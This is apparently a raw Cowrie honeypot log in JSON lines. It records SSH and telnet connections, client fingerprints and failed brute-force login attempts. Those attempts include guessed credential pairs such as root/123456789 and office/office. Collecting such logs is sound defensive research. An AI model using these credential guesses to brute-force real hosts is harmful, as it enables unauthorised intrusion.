\\x9f\\xa7\r4\f\u000eb\\xc09!|~\\x8d\\xe0\u0003\r\\xaa\\xdak\u001f\\xfa\\xcc\u001d\\x8e\\xbfs\u001d\\xaf~\\xddL\\xcd\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:32.849859Z","src_ip":"91.231.89.148","session":"406f486d614d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:32.853248Z","src_ip":"91.231.89.148","session":"406f486d614d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.148","src_port":60243,"dst_ip":"10.17.0.5","dst_port":22,"session":"9565c0fb7dd2","protocol":"ssh","message":"New connection: 91.231.89.148:60243 (10.17.0.5:22) [session: 9565c0fb7dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:32.995693Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:36.000638Z","src_ip":"91.231.89.148","session":"9565c0fb7dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":48428,"dst_ip":"10.17.0.5","dst_port":22,"session":"29a9709c22fd","protocol":"ssh","message":"New connection: 185.242.3.195:48428 (10.17.0.5:22) [session: 29a9709c22fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:41.853118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:41.857028Z","src_ip":"185.242.3.195","session":"29a9709c22fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:41.948293Z","src_ip":"185.242.3.195","session":"29a9709c22fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43904,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d2c686c80ba","protocol":"ssh","message":"New connection: 160.187.174.22:43904 (159.203.135.109:22) [session: 4d2c686c80ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:41.961621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:41.964936Z","src_ip":"160.187.174.22","session":"4d2c686c80ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:42.198470Z","src_ip":"160.187.174.22","session":"4d2c686c80ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"office","password":"office","message":"login attempt [office/office] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:42.223387Z","src_ip":"185.242.3.195","session":"29a9709c22fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:42.896887Z","src_ip":"160.187.174.22","session":"4d2c686c80ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:43.316746Z","src_ip":"185.242.3.195","session":"29a9709c22fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:44.135760Z","src_ip":"160.187.174.22","session":"4d2c686c80ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":47816,"dst_ip":"159.203.135.109","dst_port":22,"session":"180863b987f1","protocol":"ssh","message":"New connection: 173.236.247.120:47816 (159.203.135.109:22) [session: 180863b987f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:48.655648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:48.659754Z","src_ip":"173.236.247.120","session":"180863b987f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:48.669116Z","src_ip":"173.236.247.120","session":"180863b987f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghana","password":"Accra#Bitc0!n$M@st3r99","message":"login attempt [ghana/Accra#Bitc0!n$M@st3r99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:48.698608Z","src_ip":"173.236.247.120","session":"180863b987f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:49.710486Z","src_ip":"173.236.247.120","session":"180863b987f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42828,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb501e21f165","protocol":"ssh","message":"New connection: 160.187.174.22:42828 (159.203.135.109:22) [session: fb501e21f165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:07.536047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:07.540427Z","src_ip":"160.187.174.22","session":"fb501e21f165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:07.779339Z","src_ip":"160.187.174.22","session":"fb501e21f165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:08.503482Z","src_ip":"160.187.174.22","session":"fb501e21f165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:09.746568Z","src_ip":"160.187.174.22","session":"fb501e21f165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":43102,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffbef95fe7dd","protocol":"ssh","message":"New connection: 181.218.9.86:43102 (159.203.135.109:22) [session: ffbef95fe7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:15.383903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:15.393558Z","src_ip":"181.218.9.86","session":"ffbef95fe7dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:15.554270Z","src_ip":"181.218.9.86","session":"ffbef95fe7dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"laguna1","message":"login attempt [root/laguna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:17.160876Z","src_ip":"181.218.9.86","session":"ffbef95fe7dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:18.322495Z","src_ip":"181.218.9.86","session":"ffbef95fe7dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58428,"dst_ip":"159.203.135.109","dst_port":22,"session":"aadd83de1c76","protocol":"ssh","message":"New connection: 160.187.174.22:58428 (159.203.135.109:22) [session: aadd83de1c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:34.938397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:34.944360Z","src_ip":"160.187.174.22","session":"aadd83de1c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.88674712181091,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:35.007408Z","src_ip":"170.64.224.25","session":"ac1131d04a0a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:35.177110Z","src_ip":"160.187.174.22","session":"aadd83de1c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:36.966663Z","src_ip":"160.187.174.22","session":"aadd83de1c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:38.203667Z","src_ip":"160.187.174.22","session":"aadd83de1c76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebb8382d83a5","protocol":"telnet","message":"New connection: 170.64.224.25:38362 (159.203.135.109:23) [session: ebb8382d83a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:57.220865Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f4d43ec342","protocol":"telnet","message":"New connection: 170.64.224.25:37778 (159.203.135.109:23) [session: e4f4d43ec342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:32:59.186623Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57494,"dst_ip":"159.203.135.109","dst_port":22,"session":"266bf279c073","protocol":"ssh","message":"New connection: 160.187.174.22:57494 (159.203.135.109:22) [session: 266bf279c073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:01.027576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:01.036513Z","src_ip":"160.187.174.22","session":"266bf279c073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:01.274177Z","src_ip":"160.187.174.22","session":"266bf279c073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sugi","password":"sugi","message":"login attempt [sugi/sugi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:02.407260Z","src_ip":"160.187.174.22","session":"266bf279c073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:03.655815Z","src_ip":"160.187.174.22","session":"266bf279c073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":33134,"dst_ip":"159.203.135.109","dst_port":22,"session":"113e6cb5b212","protocol":"ssh","message":"New connection: 221.163.5.228:33134 (159.203.135.109:22) [session: 113e6cb5b212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:04.010492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:04.015004Z","src_ip":"221.163.5.228","session":"113e6cb5b212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:04.221045Z","src_ip":"221.163.5.228","session":"113e6cb5b212","protocol":"ssh"}
